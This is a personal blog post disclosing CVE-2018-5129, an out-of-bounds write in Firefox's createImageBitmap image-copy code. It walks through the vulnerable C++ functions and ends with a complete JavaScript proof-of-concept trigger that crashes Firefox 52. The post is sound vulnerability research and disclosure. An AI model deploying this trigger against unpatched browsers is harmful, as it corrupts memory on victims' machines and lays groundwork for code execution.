How I Accidentally Found My First CVE

Introduction

This blogpost came about through my development of an exploit for a Firefox vulnerability towards the end of last year. Before I get into the technical details, there's a little bit of background required about what happened over the couple of months in which I developed the exploit and my old version of the article.

Beginning in November I decided that I wanted to have a go at some more 'real-world' exploitation. I wanted something that was really accessible with regards to debugging, exploitation and availability of learning materials already out there. For this reason I selected a browser, specifically Firefox. There is a wealth of knowledge not only with regard to the development and maintenance of the browser but it's fully open-source, has a few notable examples of prior exploitation research, and seemed like a bit of fun!

With my target decided all I needed was to dive into past vulnerabilities and select one that looked interesting. Whilst stumbling through the advisories I came across CVE-2017-5428. This bug was interesting not only because it was used in Pwn2Own 2017 but because it was possible to exploit through Javascript. Now armed with a vulnerability my goal was to pop calc.* (.exe for windows and .app for the mac peeps out there).

After spending a considerable number of sleepless nights developing an exploit for CVE-2017-5428, I came to realise that I had actually developed an exploit for a different vulnerability. At this point your probably thinking, what? How does one develop an exploit for a different vulnerability? There was only one vulnerability in the advisory? Well, This bug was actually one that I had discovered myself in the process of developing my exploit - I just did not realise it was a vulnerability in it's own right. It turned out to be a really interesting experience and this article aims to shed some light on the process and the vulnerability.

VulnerabilitY Overview

CVE-2017-5428 (Pwn2Own 2017) Overview

On March 17 2017 Firefox released an advisory detailing a vulnerability discovered by the Chaitin Security Research Lab (CVE-2017-5428) affecting Firefox < 52.0.1. The vulnerability was reported via Trend Micro's Zero Day Initiative as a result of Pwn2Own 2017. The Firefox reference for the vulnerability (bug#1348168) contains the internal discussions around the remediation and the exploit / writeup from the competition itself.

CVE-2017-5428 is an Integer Overflow in the createImageBitmap() function. Specifically, an overloaded Constructor of the ImageBitmap Object that accepts an ArrayBuffer or ArrayBufferView as an argument.

CVE-2018-5129 Overview

On March 13 2018 Firefox released an advisory disclosing the vulnerability that I had discovered as part of my exploit for CVE-2017-5428. The vulnerability can be triggered in Firefox < 52.0.1 from unprivileged Javascript but in newer versions of Firefox the trigger would need to be crafted with some tricky encrypted video file metadata.

This blogpost will focus on the technical details of CVE-2018-5129 and the process of crafting a trigger.

Understanding The Vulnerability

Some Important Objects...

Before we dive into the technical analysis of the vulnerability I thought it would be useful to contextualise the purpose of the objects and how they relate to the inner-workings of the browser.

ImageBitmap

The first important object to understand is the ImageBitmap object. This object represents an interface that can store a Bitmap Image which can be drawn onto a <canvas> element without any noticeable rendering time. There are a number of ways to create the object using the createImageBitmap() factory method however as a result of CVE-2017-5428, a couple of the overloaded Constructors have been depreciated. The ImageBitmap object also provides an asynchronous and resource friendly way to prepare textures for rendering in WebGL.

The object has 2 properties width and height, with only 1 method - close() which disposes of all the graphical resources associated with the ImageBitmap object.

ImageBitmapFormat
ImageBitmapFormat is an enum class with a number of members. The enum members represent the various different uint32_t internal formats an ImageBitmap object can take. These different formats are shown in the enum class definition as follows:

enum class ImageBitmapFormat : uint32_t {
  RGBA32,
  BGRA32,
  RGB24,
  BGR24,
  GRAY8,
  YUV444P,
  YUV422P,
  YUV420P,
  YUV420SP_NV12,
  YUV420SP_NV21,
  HSV,
  Lab,
  DEPTH,
  EndGuard_
};

RecyclingPlanarYCbCrImage & PlanarYCbCrImage

The RecyclingPlanarYCbCrImage or PlanarYCbCrImage objects represent the raw image data. The difference between the PlanarYCbCrImage and Recycling objects is that the Recycling object makes use of an internal buffer allocation mechanism. This features a simple Array that stores each buffer currently allocated or free. This way, new objects initialised and allocated will take the buffer from the Array of free buffers, thus 'recycling' old memory instead of requesting more memory.

The Approach

Initially lets take a look at the vulnerability without context. This means introducing the relevant functions and vulnerability class without understanding how to reach it from Javascript. The second part of this blogpost will then involve tracing through the codebase and developing the Javascript trigger.

Function #1 - RecyclingPlanarYCbCrImage::CopyPlane

The first function of relevance is the CopyPlane function shown below. It's name directly corresponds to it's functionality - It copies the aSrc buffer into the aDst buffer. However, depending on the aSkip argument - the function will perform one of two types of copy:

  1. if aSkip == 0, the 'Fast path' will be taken. This path uses the memcpy function to copy the aSrc buffer into the aDst buffer. The size calculation is based on the result of aSize.height * aStride which are both provided by the calling function.
  2. if aSkip != 0, the 'Slow path' will be taken. This path makes use of a nested for-loop to iterate over both the aSrc and aDst buffer, copying one-byte per iteration.

CopyPlane(uint8_t *aDst, const uint8_t *aSrc, const gfx::IntSize &aSize, int32_t aStride, int32_t aSkip)
{
 
  if (!aSkip) { /* 1 */
    // Fast path: planar input.
    memcpy(aDst, aSrc, aSize.height * aStride);

  } else { /* 2 */
    int32_t height = aSize.height;
    int32_t width = aSize.width; 
    for (int y = 0; y < height; ++y) {
      const uint8_t *src = aSrc;
      uint8_t *dst = aDst;
      // Slow path
      for (int x = 0; x < width; ++x) {
        *dst++ = *src++;
        src += aSkip; /* Nuance 1 */
      }
      /* Nuance 2 */
      aSrc += aStride; 
      aDst += aStride;
    }
  }
}

The functionality provided by CopyPlane is nothing out of the ordinary, often DOM and Javascript engines provide an optimised 'Fast' path and a comparitively 'Slow' path for an increase in processing speed when certain criteria are met. That said, in this case there are a couple of nuances that need to be mentioned.

  1. The use of the aSkip argument in the 'Slow path' means that if aSkip = 1 (or anything !0), each iteration within the inner x loop of the copy will skip 1-byte of the aSrc buffer. This is important to keep in mind for exploitation.
  2. The aStride argument is used each iteration after inner x loop completes. Again, if aStride = 1 1-byte of both the aSrc and aDst buffer will be skipped each iteration of our outer y loop.

Now that we understand a little bit about how the CopyPlane function operates, let's look at the calling function.

Function #2 - RecyclingPlanarYCbCrImage::CopyData

Our calling function in this case is CopyData. It only has a single argument - aData. CopyData acts as a wrapper around the CopyPlane function that calculates the size, allocates the destination buffers and performs the copy operations on 3 separate channels through 3 calls to CopyPlane. For simplicity I have only included lines that are relevant to the vulnerability.


RecyclingPlanarYCbCrImage::CopyData(const Data& aData){
  mData = aData;

  /* 1 */
  // update buffer size
  size_t size = mData.mCbCrStride * mData.mCbCrSize.height * 2 + mData.mYStride * mData.mYSize.height;

  /* 2 */
  // get new buffer
  mBuffer = AllocateBuffer(size);

  /* 3 */
  if (!mBuffer)
    return false;

  // update buffer size
  mBufferSize = size;
  
  mData.mYChannel = mBuffer.get();
  mData.mCbChannel = mData.mYChannel + mData.mYStride * mData.mYSize.height;
  mData.mCrChannel = mData.mCbChannel + mData.mCbCrStride * mData.mCbCrSize.height;

  /* 4 */
  CopyPlane(mData.mYChannel, aData.mYChannel, mData.mYSize, mData.mYStride, mData.mYSkip);
  CopyPlane(mData.mCbChannel, aData.mCbChannel, mData.mCbCrSize, mData.mCbCrStride, mData.mCbSkip);
  CopyPlane(mData.mCrChannel, aData.mCrChannel, mData.mCbCrSize, mData.mCbCrStride, mData.mCrSkip);

 ...
  } 

A quick note on CVE-2017-5428
Originally, when tracing the code for CVE-2017-5428 the integer overflow was pretty obvious. The size variable is defined as size_t (which is an unsigned integer by default) stores a maximum ULONG_MAX on 64-bit systems and UINT_MAX on 32-bit systems. Firefox is 64-bit by default and therefore required a little bit of maths to calculate exactly how large each component of the equation needed to be in order for us to control the overflow however, with some careful maths we can easily overflow the size variable. The resulting integer value is then used for the buffer allocation. This integer overflow was the basis of the Pwn2Own 2017 entry from Chaitin Security Research Lab and is not the primary focus of this blogpost but I recommend reading their bug report and exploit!

Following the calculation of size we allocate a buffer from our RecycleBin. This just means our buffer will be taken from the pre-existing list of buffers allocated for this instance of the RecyclingPlanarYcbCrImage object. Once we have our buffer, we then proceed to calculate the appropriate offsets for each channel. Each channel represents a different color space as part of the YCbCr colorspace family. Finally, our CopyPlane function is called with the relevant arguments.

One thing to note in this function is the mData member. On line 2 mData is set to be equal to the aData argument meaning that in our 3 CopyPlane calls anything with an aData argument will not have been modified by the CopyData function. In turn, this also means any mData members that have not been modified will be the same as the aData members (e.g - each of the channel member variables).

An OOB Write to rule them all!

As part of my exploit development process, I performed the same level of analysis on both functions and identified key points that were interesting, or, might make exploitation slightly challenging. It was in this process that I actually identified CVE-2018-5129, but it wasn't until I had converted the trigger into a working heap-spray & info-leak that I realised it was it's own vulnerability.

The first part of this vulnerability is the calculation of the size variable within the CopyData function. This calculation uses the following members of mData:

mData.mCbCrStride <--- CbCr Stride
mData.mCbCrSize.height <--- CbCr Height
mData.mYStride <--- Y Stride
mData.mYSize.height <--- Y Height

The calculation uses the stride and height of 2 separate 'Channel' objcts to calculate the total buffer size and therefore the size of each destination mBuffer for the mYChannel, mCbChannel and mCrChannel's respectively.

At first, I thought this calculation was fine (apart from the clear integer overflow). It was not until I had a closer look at the 'Slow path' of the CopyPlane function that I noticed the subtle issue.

    int32_t height = aSize.height;
    int32_t width = aSize.width; 
    for (int y = 0; y < height; ++y) {
      const uint8_t *src = aSrc;
      uint8_t *dst = aDst;
      // Slow path
      for (int x = 0; x < width; ++x) { <----- HERE!!
        *dst++ = *src++;
        src += aSkip;
      }
      /* b */
      aSrc += aStride; 
      aDst += aStride;
    }

The above snippet is the 'Slow path' from the CopyPlane function. As described earlier, it uses a 'Slow' nested for-loop copy to iterate over the aSrc and aDst buffers and copy the image data byte-by-byte. However, the part of this function I overlooked to begin with that I subsequently realised was vulnerable, is the inner width for-loop. The inner loop uses the width property to perform the x axis of the copy. This is the second part of the vulnerability.

The issue here is that the size calculation and subsequent allocation of the mBuffer variable in CopyData does NOT make use of the width variable whatsoever. It calculates the size of the destination buffer based on the height and stride but not the width. Our CopyPlane function then iterates over the height and the width of our aSrc and aDst.

So to recap, we have the following two conditions:

  1. A size calculation based on the height * stride.
  2. A nested for-loop where the inner for-loop iterates over the width of a buffer - a variable not taken into consideration in step 1.

I then scrambled to create a trigger. Within a couple of hours I was able to reliably crash Firefox 52 with an OOB Write.

Crafting the Trigger

Now that we understand the vulnerability we need to demonstrate that it has an undesireable affect on the browser. In this section I am going to identify the easiest path to the vulnerable code and work through each step by presenting the in-progress Javascript trigger.

After exploring numerous potential code paths, the easiest in Firefox 52 was through the exposed createImageBitmap() function. Our path to calc.exe looks like this:

  1. createImageBitmap()
  2. ImageBitmap::Create
  3. ImageBitmap::CreateImageFromBufferSourceRawData
  4. CopyData
  5. CopyPlane

1. Our Entry Point

The createImageBitmap function is a factory method that can be called from a Web Worker or the main thread. It has a number of overloads however the one we are interested in is shown below: 

    createImageBitmap(buffer, offset, length, 'FORMAT', [layout1, layout2, layout3]);

This is our entry point. From here, we can begin working our way into deeper parts of the engine.

2. Our ImageBitmap Constructor

The constructor for the ImageBitmap object is very similar to our Javascript entry point. It will take the buffer, offset, length, format and Layout and begin the initialisation and creation of our ImageBitmap object.

/*static*/ already_AddRefed
ImageBitmap::Create(nsIGlobalObject* aGlobal, 
                    const ImageBitmapSource& aBuffer, /* 1 */
                    int32_t aOffset, /* 2 */
                    int32_t aLength, /* 3 */
                    mozilla::dom::ImageBitmapFormat aFormat, /* 4 */
                    const Sequence& aLayout, /* 5 */
                    ErrorResult& aRv)    
  1. aBuffer: Represents our ArrayBuffer or ArrayBufferView from which we will craft our ImageBitmap.
  2. aOffset: A signed 32-bit integer representing the offset in the aBuffer to pull our ImageBitmap data from.
  3. aLength: A signed 32-bit integer representing the length of the object.
  4. aFormat: Represents the format of our aBuffer when creating the ImageBitmap.
  5. aLayout: The array of layout objects for the ImageBitmap.

The following shows the relevant parts from the body of the constructor.

... 
  uint8_t* bufferData = nullptr;
  uint32_t bufferLength = 0;

  /* 1 */
  if (aBuffer.IsArrayBuffer()) {
    const ArrayBuffer& buffer = aBuffer.GetAsArrayBuffer();
    buffer.ComputeLengthAndData();
    bufferData = buffer.Data();
    bufferLength = buffer.Length();
  } else if (aBuffer.IsArrayBufferView()) {
    const ArrayBufferView& bufferView = aBuffer.GetAsArrayBufferView();
    bufferView.ComputeLengthAndData();
    bufferData = bufferView.Data();
    bufferLength = bufferView.Length();
  } else {
    aRv.Throw(NS_ERROR_NOT_IMPLEMENTED);
    return promise.forget();
  }

  ...
  /* 2 */
  // Check the buffer.
  if (((uint32_t)(aOffset + aLength) > bufferLength)) {
    aRv.Throw(NS_ERROR_DOM_INDEX_SIZE_ERR);
    return promise.forget();
  }

  // Create and Crop the raw data into a layers::Image
  RefPtr data;
  /* 3 */
  if (NS_IsMainThread()) {
    data = CreateImageFromBufferSourceRawData(bufferData + aOffset, bufferLength,
                                              aFormat, aLayout);
  } else {
    ...
  }
 ...
}    

There are 3 important pieces to understand within the constructor:

  1. Ensures the aBuffer or our aSrc is an ArrayBuffer or ArrayBufferView.
  2. This check ensures that our provided aOffset and aLength is less than the bufferLength calculated in part 1.
  3. Finally, a check is made to ensure execution is occurring on the main thread. If we decided to create our ImageBitmap objects from a Web-worker, this if statement evaluate to false and the else would evaluate. It is therefore important that the if(NS_IsMainThread()) evaluates true because the CreateImageFromBufferSourceRawData function is the next stage of our relevant code path.

At this point, our trigger might look something like this:

try{

  var aBuffer = new Uint8Array(0x100000);
  var aOffset = 0;
  var aLength = 0x1000;
  
  bitmap = createImageBitmap(aBuffer, aOffset, aLength, 'FORMAT', [...]);
  
} catch (ex) {
  console.log(ex);
}    

3. CreateImageFromBufferSourceRawData

This next function took a while to review mainly because of the trial and error involved with the large switch statement containing a number of different image formats. Nonetheless this function takes our aBufferData, aBufferLength, aFormat, and aLayout arguments, manipulates them, and calls our vulnerable CopyData function.

    CreateImageFromBufferSourceRawData(const uint8_t *aBufferData, /* 1 */
                                   uint32_t aBufferLength, /* 2 */
                                   mozilla::dom::ImageBitmapFormat aFormat, /* 3 */
                                   const Sequence& aLayout)/* 4 */
  1. const uint8_t *aBufferData - A pointer to our aBufferData as described by the bufferData + aOffset from the ImageBitmap::Create method.
  2. uint32_t aBufferLength - an unsigned 32-bit integer that has been validated and passed in.
  3. mozilla::dom::ImageBitmapFormat aFormat - An ImageBitmapFormat object passed straight from the ImageBitmap::Create method.
  4. const Sequence<ChannelPixelLayout>& aLayout - the address of our layout object passed straight from the ImageBitmap::Create method.

The CreateImageFromBufferSourceRawData method is used to create an image from our buffer. The format in which our resulting ImageBitmap will take is dependent on our aFormat parameter. This aFormat parameter is passed into a switch statement which is then used to select the format of the resulting ImageBitmap. There are a number of different formats this object can take but at the point of Firefox 52.0 being released only 2 cases had an implementation - case ImageBitmapFormat::DEPTH: and case ImageBitmapFormat::YUV420SP_NV21:case ImageBitmapFormat::YUV420SP_NV21: is the case we are interested in.

  case ImageBitmapFormat::RGBA32:
  case ImageBitmapFormat::BGRA32:
  case ImageBitmapFormat::RGB24:
  case ImageBitmapFormat::BGR24:
  case ImageBitmapFormat::GRAY8:
  case ImageBitmapFormat::HSV:
  case ImageBitmapFormat::Lab:
  case ImageBitmapFormat::DEPTH:
  {
    ...
  }
  case ImageBitmapFormat::YUV444P:
  case ImageBitmapFormat::YUV422P:
  case ImageBitmapFormat::YUV420P:
  case ImageBitmapFormat::YUV420SP_NV12:
  case ImageBitmapFormat::YUV420SP_NV21:
  {
      TARGET
  }

The target format - YUV420SP_NV21 is used for a specific color encoding format known as YUV. It is typically used as part of a color image pipeline. The aFormat parameter in our call to createImageBitmap simply needs to be the string 'YUV420P' to hit this case.

The relevant parts of the YUV420SP_NV21 case body are shown below:

...
    // Prepare the PlanarYCbCrData.
    /* 1 */
    const ChannelPixelLayout& yLayout = aLayout[0];
    const ChannelPixelLayout& uLayout = aFormat != ImageBitmapFormat::YUV420SP_NV21 ? aLayout[1] : aLayout[2];
    const ChannelPixelLayout& vLayout = aFormat != ImageBitmapFormat::YUV420SP_NV21 ? aLayout[2] : aLayout[1];
    
    layers::PlanarYCbCrData data;

    // Luminance buffer
    data.mYChannel = const_cast<uint8_t*>(aBufferData + yLayout.mOffset);
    data.mYStride = yLayout.mStride;
    data.mYSize = gfx::IntSize(yLayout.mWidth, yLayout.mHeight);
    data.mYSkip = yLayout.mSkip;

    // Chroma buffers
    data.mCbChannel = const_cast<uint8_t*>(aBufferData + uLayout.mOffset);
    data.mCrChannel = const_cast<uint8_t*>(aBufferData + vLayout.mOffset);
    data.mCbCrStride = uLayout.mStride;
    data.mCbCrSize = gfx::IntSize(uLayout.mWidth, uLayout.mHeight);
    data.mCbSkip = uLayout.mSkip;
    data.mCrSkip = vLayout.mSkip;

    // Picture rectangle.
    // We set the picture rectangle to exactly the size of the source image to
    // keep the full original data.
    data.mPicX = 0;
    data.mPicY = 0;
    data.mPicSize = data.mYSize;
   
    /* 2 */
    // Create a layers::Image and set data.
    if (aFormat == ImageBitmapFormat::YUV444P ||
        aFormat == ImageBitmapFormat::YUV422P ||
        aFormat == ImageBitmapFormat::YUV420P) {

      /* 3 */    
      RefPtr image = new layers::RecyclingPlanarYCbCrImage(new layers::BufferRecycleBin());

      ...

      /* 4 */
      // Set Data.
      if (NS_WARN_IF(!image->CopyData(data))) {
        return nullptr;
      }

      return image.forget();
    } else {
      ...
  }    

As you can see - theres a little bit of logic involved and a few bits and pieces to understand.

  1. Here there are a couple of lines to determine the number of layout objects provided to the createImageBitmap function. The two inline boolean expressions determine the order of the layouts based on the aFormat parameter. For our sake, we need 3 layout objects - yLayout, uLayout and vLayout. Note: Following step 1 there are a number of operations on our aBufferData and layout objects, these setup our data object passed to CopyData from our 3 layout objects.
  2. This check just ensures that we provided our YUV420P format.
  3. Create the image object that our data will be copied into. This object is a RecyclingPlanarYCbCrImage and is stored in a parent-type PlanarYCbCrImage RefPtr. It should be noted that each RecyclingPlanarYCbCrImage is initialized with a new BufferRecyleBin object.
  4. Finally, our CopyData function is invoked with our malicious data object.

Our trigger might now look something like this:


try{
  //Represents the Cr.. elements
                vLayout = {
                    offset: 0,
                    width: 4,
                    height: 1,
                    dataType: 'uint8',
                    stride: 1,
                    skip: 0,
                };
  //represents our Y elements
                yLayout = {
                        offset: 0,
                        //mData.mYSize:
                        width: 4, //mData.mYSize.width
                        height: 4, //mData.mYSize.height
                        dataType: 'uint8',
                        stride: 1, //mData.mYStride
                        skip: 1,
                    };
 //Represents the Cb.. elements
                uLayout = {
                        offset: 0,
                        //mData.mCbCrSize:
                        width: 0, //mData.mCbCrSize.width
                        height: 1,  //mData.mCbCrSize.height
                        dataType: 'uint8',
                        stride: 4, //mData.mCbCrStride
                        skip: 1, 
                    };

  var aBuffer = new Uint8Array(0x100000);
  var aOffset = 0;
  var aLength = 0x1000;
  
  bitmap = createImageBitmap(aBuffer, aOffset, aLength, 'YUV420P', [yLayout, uLayout, vLayout]);
  
} catch (ex) {
  console.log(ex);
}    

I have included a couple of inline comments to describe which of the Javascript layout objects are relevant to the variables in CreateImageFromBufferSourceRawData. This makes it a little bit easier to determine which parts of the CopyData function we control.

4 CopyData & CopyPlane

We are now back in the vulnerable code. As discussed before, there are 2 bugs between the 2 functions:

  1. A size calculation based on the height * stride.
  2. A nested for-loop where the inner for-loop iterates over the width of a buffer - a variable not taken into consideration at step 1.

The last piece of the puzzle is crafting our layout objects such that we overflow our aDst buffer. This requires some simple maths.
If the aDst buffer is calculated from the following equation:

size_t size = mData.mCbCrStride * mData.mCbCrSize.height * 2 + mData.mYStride * mData.mYSize.height;

And we control all 4 parts of the equation, we can control the size of the allocated aDst buffer.

For example:

mData.mCbCrStride = 1
mData.mCbCrSize.height = 1
mData.mYStride = 1
mData.mYSize.height = 1024
size_t size = mData.mCbCrStride * mData.mCbCrSize.height * 2 + mData.mYStride * mData.mYSize.height;
size == 1026 bytes    

So if our aDst buffer is 1026 bytes long, all we need is our width to be > 1026 and we will trigger the OOB.

The Completed Trigger

If we now just place the relevant values into the Javascript layout objects in our trigger:


try{
  //Represents the Cr.. elements
                vLayout = {
                    offset: 0,
                    width: 4,
                    height: 1,
                    dataType: 'uint8',
                    stride: 1,
                    skip: 0,
                };
  //represents our Y elements
                yLayout = {
                        offset: 0,
                        //mData.mYSize:
                        width: 1, //mData.mYSize.width
                        height: 1024, //mData.mYSize.height
                        dataType: 'uint8',
                        stride: 1, //mData.mYStride
                        skip: 1,
                    };
 //Represents the Cb.. elements
                uLayout = {
                        offset: 0,
                        //mData.mCbCrSize:
                        width: 2048, //mData.mCbCrSize.width
                        height: 1,  //mData.mCbCrSize.height
                        dataType: 'uint8',
                        stride: 1, //mData.mCbCrStride
                        skip: 1, 
                    };

  var aBuffer = new Uint8Array(0x100000);
  var aOffset = 0;
  var aLength = 0x1000;
  
  bitmap = createImageBitmap(aBuffer, aOffset, aLength, 'YUV420P', [yLayout, uLayout, vLayout]);
  
} catch (ex) {
  console.log(ex);
}    

Wrap that in some<script></script>tags and voila!

06169E7DC1798BAD181D0073EEE84230-1

Closing Words

Having now analysed the vulnerability and crafted a trigger, the next step is to pop calc. I will leave this as an exercise for the reader but, this process is a little more challenging and took me significantly longer than I am willing to admit. Nonetheless, I enjoyed the steep learning curve.

The whole experience of going from deciding to do some real world exploitation, to discovering my first vulnerability, writing a trigger, crafting an exploit and then working with Firefox to fix it was great. On a more technical note, Firefox is a complex beast and I encourage anyone interested in learning more about how browsers work behind the scenes to take a long walk through the codebase.

If anyone has any feedback or has spotted an error somewhere, feel free to ping me on twitter anytime@0x4a47!

Thanks, James.

P.S - I wanted to give a shoutout to Pauljt from Mozilla. Paul helped me from the moment I took interest in the Firefox codebase and in the months following me reporting this bug. I definitely owe Paul a beer for the many 3am messages about Firefox internals, connecting me with the right people and me constantly poking him about the status of the bug. Paul also brought to my attention that I missed some of the finer details about to the situation surrounding `createImageBitmap`, my aim is to clear these up in a future blogpost. 

Timeline:

  • 08/01/2018: I reported the vulnerability to Firefox.
  • 11/02/2018: The vulnerability was patched.
  • 13/03/2018: Firefox released the vulnerability in their Security Advisory for FF59.
  • 30/072018: Firefox made the bug public :)